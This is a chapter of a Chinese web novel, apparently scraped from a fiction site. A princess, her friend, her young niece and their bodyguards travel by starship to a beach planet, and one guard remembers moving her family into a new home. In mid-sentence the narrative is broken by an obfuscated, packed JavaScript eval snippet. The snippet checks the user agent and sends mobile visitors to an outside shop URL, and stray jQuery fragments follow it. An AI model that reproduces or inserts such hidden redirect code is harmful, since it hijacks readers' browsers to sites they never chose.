出发那天,南达钰天刚亮就来了。
她穿着一身利落的裤装,直接从车上跳下来。等开门的那一小会儿工夫,她已经朝里面喊了好几声:“若雯!我来啦!”
声音穿过庭院、走廊、门厅,刚下楼梯的原若雯听得清清楚楚。
露露仰起脸,眼睛弯成月牙:“小姨,钰姐姐来啦。”
“嗯。”原若雯牵着她往外走,露露背着小书包,兔子塞在书包侧袋里,两只长耳朵露在外面一晃一晃的。
刚走到门口,南达钰已经迎上来了。她今天整个人干脆利落,头发扎成高马尾,走路带风。
露露甜甜地说:“钰姐姐,早上好。”
“露露真乖,早上好。”南达钰弯下腰摸了摸露露软萌萌的脑袋。
“你到得真早。”她们约定的是早上八点,现在才七点四十。
“我昨天兴奋得睡不着,五点就起来了。”南达钰笑着摆手,转身指挥保镖搬行李,“我家星舰停泊在航天港,早点出发,正好赶去白沙星吃午饭。”
她看了一眼原若雯身后的六人保镖队,又看看自己带来的四个男保镖,满意地点点头,忽然想起什么:“对了,去接你那两个未婚夫候选人吗?”
“不用,他们自己过去。”原若雯语气平淡。那两人之前提议来接她,她拒绝了,说先和好朋友一起走。
南达钰眼睛一亮,拉着她就往车上走:“那敢情好。”
其实南达钰还挺好奇那两个人的,虽然西云柏是他们这一代典型的别人家孩子,南达钰也只在宴会上远远见过。那个三王子更是不熟,可惜上次宫廷办宴会的时候她还在别的星球上忙公司的事情,没亲眼见到,听说长得还挺帅。
航天港。
银白色的星舰静静停泊在泊位上,侧面印着南达家族的家徽,一株红掌。肉穗花像烛台上燃烧的蜡烛,醒目又张扬。
南达钰走在最前面,熟门熟路地登上舷梯,转身伸出手,笑盈盈地拉长了声音:“欢迎登舰,我的公主殿下。”
原若雯看了她一眼,唇角微弯,微微颔首算作回应,牵着露露自己走了上去。
南达钰笑嘻嘻跟在后面,回头冲几个保镖挥手:“都跟上。”
露露站在舷梯上,仰头看着巨大的星舰,嘴巴张成了小小的O型。兔子被她搂在怀里,也跟着一起仰头,两只耳朵耷拉下来。
“小姨,这是船吗?”她的声音小小的,像怕惊动了什么。
“这是星舰。”原若雯牵着她往上走,“可以在星球之间飞来飞去的船。”
露露的眼睛一下子亮了,脚步也快了起来。
等所有人坐好后,星舰平稳地升入高空,越过大气层飞入太空,窗外的帝星渐渐缩小,最后变成一个亮点。
露露趴在舷窗边,鼻尖几乎贴到了玻璃上。
“好多星星......”
窗外星河无边,无数星辰铺满视野,有的明亮如钻,有的黯淡如尘,有的孤零零悬在远处,有的挤在一起汇成一条银白色的光带。
星舰无声地在宇宙中飞行,像一片落入大海的叶子。
露露看着窗外,眼睛映着星光。
青禾坐在原若雯身后,背挺得笔直,双手规矩地放在膝盖上。她好奇地看着窗外,嘴角带着她自己都没察觉的笑。
这是她第一次坐星舰,离开帝星前,二公主放了她一天假,让她回家看看。
她告诉父亲和弟弟这个消息时,全家都沸腾了。他们家从来没有人离开过帝星,她是第一个。
不知出于什么样的心理,青禾没有告诉他们自己是水系精神力s级。
她最近在星网上看到很多女孩分享,说家里知道水系精神力能开机甲之后,非但不支持她们,反而拦得更紧了。
星舰飞行平稳,去白沙星需要半天时间。
南达钰带的那四个男保镖被安排在后舱,她原话是:“别过来打扰我们”。
六个女保镖分守在舰舱各处,阿克苏坐在门口,腰背挺直,目光平视前方,比谁都敬业。
露露看了一会儿星星,开始拿出图画本画画,画的是窗外的星河。
原若雯闭目养神,脑子里在过前世看到过的银纹晶矿脉的资料。
南达钰在光脑上处理好公司的事情之后,安静了没一会儿就坐不住了。她从抽屉里翻出一副牌,兴冲冲地喊:“太无聊了!来来来,玩游戏。”
她直接拉原若雯过来坐下,又对青禾说:“青禾,一起。”
青禾看了原若雯一眼,见她微微点头,便起身走过来:“小姐想玩什么?”
南达钰又朝门口的阿克苏招手:“你也来,人不够。”
阿克苏愣了一下,转头看原若雯,原若雯点了一下头。她起身走过来,动作有些僵硬,不知道手该往哪放。
四个人开始玩牌,南达钰的嘴几乎没有停过,一会儿说青禾出牌太慢,一会儿说自己运气不好,一会儿又开始聊白沙星的白色沙滩有多美。
青禾话少,但每一句都接得住,偶尔还能赢南达钰一局,惹得她说自己手气不好。
原若雯在一旁旁静静听着她们说话,三把里面总能赢一把。
阿克苏是第一次玩这种牌,规则不熟,出牌慢,但没人催她,也没人嫌她笨。
青禾赢了之后还会凑过来,小声提醒她该出哪张。
窗外星河安静流淌,星舰载着一舱人,稳稳地朝白沙星飞去。
牌打了不到一个小时,南达钰就开始打哈欠了。
“不行了,不行了。”她把牌一推,靠在沙发背上,眼睛已经半眯着,“起太早了,我困死了。”
南达钰打着哈欠站起来,晃晃悠悠地往旁边的休息舱走,走了两步又回头嘱咐:“到了叫我啊,我要第一个拍白沙星的照片。”
“好。”原若雯应了一声。
南达钰摆摆手,消失在舱门后。
露露早就放下了画笔,小脑袋一点一点地往下栽。原若雯轻轻把她抱起来,让她靠在自己怀里,又拿起旁边的毯子盖在她身上。露露动了动,找了个舒服的姿势,很快发出了均匀的呼吸声。
星舰的后半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610343|204723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
程安静下来,引擎的低鸣声成了唯一的背景音,窗外星河缓缓流淌,舱内光线调暗了。
阿克苏坐回了门口的位置,精神专注。
离开帝星的前一天,她专门回了趟家。
新房子在南城区一个安保很好的小区,大门的门禁要刷卡,电梯也要刷卡,楼下还有物业的人二十四小时值班。她还找二公主预支了几个月的工资,请了一位全天候的阿姨,专门照顾母亲和妹妹。
她从医院接回了母亲,医生说母亲的手术很成功,只需要后面好好调养。
母亲站在新家的客厅里,手足无措,手都不知道往哪放。
“这么大,得多少钱啊?”她小声问,眼里既有高兴又有心疼。
“妈,我现在工资高,您别操心钱的事。”阿克苏没有说实话,但至少现在母亲和妹妹可以不用再住在那间漏风的旧房子里了。
阿姨很快上岗,四十多岁,人看着和气,手脚也麻利,做饭好吃。阿克苏在旁边看了一上午,确认这个人靠谱,才放心。
她还让人在家里装了三个监控探头,门口一个,客厅一个,母亲房间一个。
妹妹放学回来,一进门就尖叫了一声。
“姐!这是我们的新家???”
“嗯。”
“你中彩票了?!”
“差不多。”阿克苏难得开了句玩笑。
妹妹扑过来抱住她的胳膊,眼睛亮晶晶地四处看,嘴里不停地问这问那。特别是当她发现自己竟然有专属的房间之后,更是高兴地跳了起来,仔仔细细地摸着房间里的一切。
母亲坐在沙发上,笑着看她们姐妹俩闹,脸上的气色比从前好了不少。
晚饭是阿姨做的,三菜一汤,热腾腾地端上桌。妹妹吃得飞快,母亲也多吃了一碗饭。
临睡前,妹妹拉住阿克苏的手,小声说:“姐,你在外面要照顾好自己。”
“嗯。”阿克苏轻轻拂过妹妹脸前的碎发。
“那个二公主,好不好相处啊?会不会欺负你?”
“不会,二公主是好人。”阿克苏没有多说,她本来没想预支工资,况且才刚上班几天,还是二公主主动提的。
“那就好。”妹妹抱了抱她,“你不用担心家里,我会照顾好妈妈的。”
阿克苏点了点妹妹的鼻子,“也要照顾好你自己。”
等她从妹妹房间出来后,便看到母亲坐在客厅,手里拿着一件叠得整整齐齐的外套,递给她:“天气冷,你带上。”
阿克苏接过了外套。母亲又拉住她的手,用力握了握:“要好好保护二公主,人家对你好,你也要对人家好。”
“我会的。”
“还有,”母亲的声音低了些,“保护好自己。”
阿克苏张了张嘴,想说我会的,但看到母亲眼里藏着的泪光,没说出来,只是用力点了点头。
这是阿克苏第一次坐星舰,她不知道自己到底坐了多久,直到星舰的广播系统响起,柔和的女声传遍每个角落:“各位乘客,本舰将于十分钟后抵达白沙星。”